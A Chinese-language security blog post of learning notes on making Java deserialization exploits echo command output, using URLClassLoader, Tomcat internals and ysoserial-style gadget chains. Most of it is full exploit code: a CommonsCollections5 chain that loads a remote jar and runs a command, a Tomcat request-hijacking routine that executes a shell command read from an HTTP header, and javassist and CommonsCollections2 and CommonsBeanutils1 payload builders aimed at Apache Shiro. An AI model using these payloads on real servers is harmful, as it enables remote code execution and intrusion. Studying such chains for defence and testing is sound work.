java反序列化漏洞之回显学习

利用URLClassloader

参考:

https://y4er.com/post/java-deserialization-echo/

魔改的cc5链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.BASE64Encoder;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections5URLClassLoader {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(URLClassLoader.class),
                // 获取构造方法
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{java.net.URL[].class}}),
                // new实例并赋值url
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}}),
                // loadClass加载ProcessExec
                new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
                // 获取ProcessExec的构造方法
                new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
                // 实例化ProcessExec
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})

        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "fofa");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        BASE64Encoder base64Encoder = new BASE64Encoder();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

image-20211212220600627

利用Tomcat回显

参考项目:

https://github.com/feihong-cs/Java-Rce-Echo

package com.test;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class Tomcat {
    @RequestMapping("tomcat")
    public void test() throws NoSuchFieldException, IllegalAccessException {
        boolean flag = false;
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[]) f.get(group);

        for (int i = 0; i < threads.length; i++) {
            try {
                Thread t = threads[i];
                if (t == null) continue;

                String str = t.getName();
                if (str.contains("exec") || !str.contains("http")) continue;


                f = t.getClass().getDeclaredField("target");
                f.setAccessible(true);
                Object obj = f.get(t);

                if (!(obj instanceof Runnable)) continue;

                f = obj.getClass().getDeclaredField("this$0");
                f.setAccessible(true);
                obj = f.get(obj);

                try {
                    f = obj.getClass().getDeclaredField("handler");
                } catch (NoSuchFieldException e) {
                    f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                }
                f.setAccessible(true);
                obj = f.get(obj);

                try {
                    f = obj.getClass().getSuperclass().getDeclaredField("global");
                } catch (NoSuchFieldException e) {
                    f = obj.getClass().getDeclaredField("global");
                }
                f.setAccessible(true);
                obj = f.get(obj);

                f = obj.getClass().getDeclaredField("processors");
                f.setAccessible(true);
                java.util.List processors = (java.util.List) (f.get(obj));

                for (int j = 0; j < processors.size(); ++j) {
                    Object processor = processors.get(j);
                    f = processor.getClass().getDeclaredField("req");
                    f.setAccessible(true);
                    Object req = f.get(processor);
                    Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);

                    str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});

                    if (str != null && !str.isEmpty()) {
                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
                        byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

                        try {
                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                            obj = cls.newInstance();
                            cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                        } catch (NoSuchMethodException var5) {
                            Class cls = Class.forName("java.nio.ByteBuffer");
                            obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                        }

                        flag = true;
                    }

                    if (flag) break;
                }

                if (flag) break;
            } catch (Exception e) {
                continue;
            }
        }
    }
}

整个SPringboot debug调一下

首先先获取当前的所有线程,在对线程进行遍历

image-20211220163857343

再获取名字有http且不包含exec的线程

image-20211220163936775

获取的线程: http-nio-80-ClientPoller

image-20211220165819864

再获取this$0对象即 NioEndpoiont

image-20211220172050989

获取handler对象

private org.apache.tomcat.util.net.AbstractEndpoint$Handler org.apache.tomcat.util.net.AbstractEndpoint.handler

image-20211220172248185

AbstractProtocol$ConnectionsHanhler里的global字段里刚好存在request对象

image-20211220172701668

image-20211220165943025

从global里获取processors对象,从processors对象里获取req对象

image-20211220170402501

后面就是利用反射来执行servlet的常规操作,将rce的结果返回到页面

image-20211220170453949

这个分析利用链其实不难,但是你想要找到这个链子我个人觉得还是挺难的,大佬们太强了,果然是站在巨人的肩膀上学习

结合到yso链子

当然也是看大哥们写的链子,主要是利用javassist动态创建类,再利用yso的cc链

package com.exp;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Allecho {
    public static CtClass genPayload(ClassPool pool) throws Exception {
        CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        //HTTPServletRequest.class
        //HTTPServletResponse.class
        clazz.addField(CtField.make("static java.util.HashSet/*<Object>*/ h;", clazz));
        clazz.addField(CtField.make("static javax.servlet.http.HttpServletRequest r;",clazz));
        clazz.addField(CtField.make("static javax.servlet.http.HttpServletResponse p;",clazz));
//        clazz.addField(CtField.make("static int depth ;",clazz));

        clazz.addMethod(CtMethod.make("private static boolean i(Object obj){        if(obj==null|| h.contains(obj)){            return true;        }        h.add(obj);        return false;    }",clazz));
//        clazz.addMethod(CtMethod.make("private static void F(Object start, int depth){        Class n=start.getClass();        do{            java.lang.reflect.Field declaredField = null;            java.lang.reflect.Field[] fields = n.getDeclaredFields();            int length = n.getDeclaredFields().length;            for (int i =0 ; i <= length; i++){                declaredField = fields[i];                declaredField.setAccessible(true);                Object o = null;                try{                    o = declaredField.get(start);                    if(!o.getClass().isArray()){                        p(o,depth);                    }else{                        Object[] array = (Object[])o;                        for (int q = 0; q < array.length; q++){                            p(array[q], depth);                        }                    }                }catch (Exception e){                }            }        }while(                (n = n.getSuperclass())!=null        );    }",clazz));
        clazz.addMethod(CtMethod.make("private static void F(Object start, int depth){}",clazz));



        clazz.addMethod(CtMethod.make("    private static void p(Object o, int depth){\n" +
                "        if(depth > 52||(r !=null&& p !=null)){\n" +
                "            return;\n" +
                "        }\n" +
                "        if(!i(o)){\n" +
                "            if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){\n" +
                "                r = (javax.servlet.http.HttpServletRequest)o;\n" +
                "                if(r.getHeader(\"Ctmd\")==null && r.getHeader(\"c\") == null) {\n" +
                "                    r = null;\n" +
                "                }else{\n" +
                "                    try {\n" +
                "                        p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod(\"getResponse\",null).invoke(r,null);\n" +
                "\n" +
                "                    } catch (Exception e) {\n" +
                "                        r = null;\n" +
                "                    }\n" +
                "                }\n" +
                "\n" +
                "            }\n" +
                "            if(r !=null&& p !=null){\n" +
                "                try {\n" +
                "                    \n" +
                "                    if (r.getHeader(\"Ctmd\") != null) {\n" +
                "                        p.addHeader(\"techo\",r.getHeader(\"Ctmd\"));\n" +
                "                    }else {\n" +
                "                        p.getWriter().println(\"$$$\" + new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader(\"c\")).getInputStream()).useDelimiter(\"\\\\A\").next() + \"$$$\");\n" +

               //"                        p.getWriter().println(\"$$$\" +  org.apache.shiro.codec.Base64.encodeToString(new java.util.Scanner(Runtime.getRuntime().exec(org.apache.shiro.codec.Base64.decodeToString(r.getHeader(\"c\"))).getInputStream()).useDelimiter(\"\\\\A\").next().getBytes()) + \"$$$\");\n" +
                "                        p.getWriter().flush();\n" +
                "                        p.getWriter().close();\n" +
                "                    }\n" +
                "                    \n" +
                "\n" +
                "                }catch (Exception e){\n" +
                "                }\n" +
                "                return;\n" +
                "            }\n" +
                "\n" +
                "            F(o,depth+1);\n" +
                "        }\n" +
                "    }",clazz));

        clazz.getDeclaredMethod("F").setBody("{Class n = $1.getClass();\n" +
                "        do{\n" +
                "            java.lang.reflect.Field f = null;\n" +
                "            int l = n.getDeclaredFields().length;\n" +
                "            for (int i = 0; i < l; i++) {\n" +
                "                f = n.getDeclaredFields()[i];\n" +
                "                f.setAccessible(true);\n" +
                "                Object o = null;\n" +
                "                try{\n" +
                "                    o = f.get($1);\n" +
                "\n" +
                "                    if(!o.getClass().isArray()){\n" +
                "                        p(o,$2);\n" +
                "                    }else{\n" +
                "                        Object q = null;\n" +
                "                        Object[] objs = (Object[])o;\n"+
                "                        int len = java.lang.reflect.Array.getLength(o);\n" +
                "                        for (int j = 0; j < len; j++) {\n" +
                "                            q = objs[j];\n"+
                "                            p(q, $2);\n" +
                "                        }\n" +
                "\n" +
                "                    }\n" +
                "\n" +
                "                }catch (Exception e){\n" +
                "                }\n" +
                "            }\n" +
                "\n" +
                "        }while(\n" +
                "                (n = n.getSuperclass())!=null\n" +
                "        );}");

        clazz.addConstructor(CtNewConstructor.make("public dfs(){       r = null;        p = null;        h =new java.util.HashSet/*<Object>*/();        F(Thread.currentThread(),0);    }",clazz));



        return clazz;
    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] test() throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = genPayload(pool);
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);

        byte[] classBytes = clazz.toBytecode();

        setFieldValue(obj, "_bytecodes", new byte[][]{ classBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,
                String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                comparator);
// stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        return barr.toByteArray();
    }
}

shiro反序列化回显

CommonsCollections2Shiro

package com.exp;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] echogenerate(Allecho allecho) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = allecho.genPayload(pool);
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        byte[] clazzbytes = clazz.toBytecode();

        setFieldValue(obj, "_bytecodes", new byte[][]{clazzbytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
}

CommonsBeanutils1Shiro

package com.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] echogenerate(Allecho allecho) throws Exception {
            TemplatesImpl obj = new TemplatesImpl();
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = allecho.genPayload(pool);
            CtClass superClass = pool.get(AbstractTranslet.class.getName());
            clazz.setSuperclass(superClass);

            byte[] classBytes = clazz.toBytecode();

            setFieldValue(obj, "_bytecodes", new byte[][]{ classBytes});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator comparator = new BeanComparator(null,
                    String.CASE_INSENSITIVE_ORDER);
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                    comparator);
// stub data for replacement later
            queue.add("1");
            queue.add("1");
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            return barr.toByteArray();
        }
}

log4j2反序列化回显

既然上面的shiro的回显咱搞清楚,那其实也整一个log4j2回显(蹭个热度),本质其实是一样的(这里就不放出代码了)

原理和shiro的一个意思,也是需要根据yso的链子来魔改

利用gagdet高版本绕过的方式将反序列化链子带进去

image-20211221194608129

复现环境:

https://github.com/penson233/log4j2rce-demo

参考文献:

https://m0d9.me/2020/10/10/Java%E5%86%85%E5%AD%98shell%EF%BC%9ATomcat%E5%9B%9E%E6%98%BE/

https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/#%E9%80%9A%E8%BF%87%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E8%AF%BB%E5%86%99%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5

http://xiashang.xyz/2020/12/27/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E5%9B%9B%EF%BC%88%E5%AE%9E%E6%88%98%E7%AF%87%EF%BC%89/#2-%E6%9E%84%E9%80%A0%E5%9B%9E%E6%98%BE


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年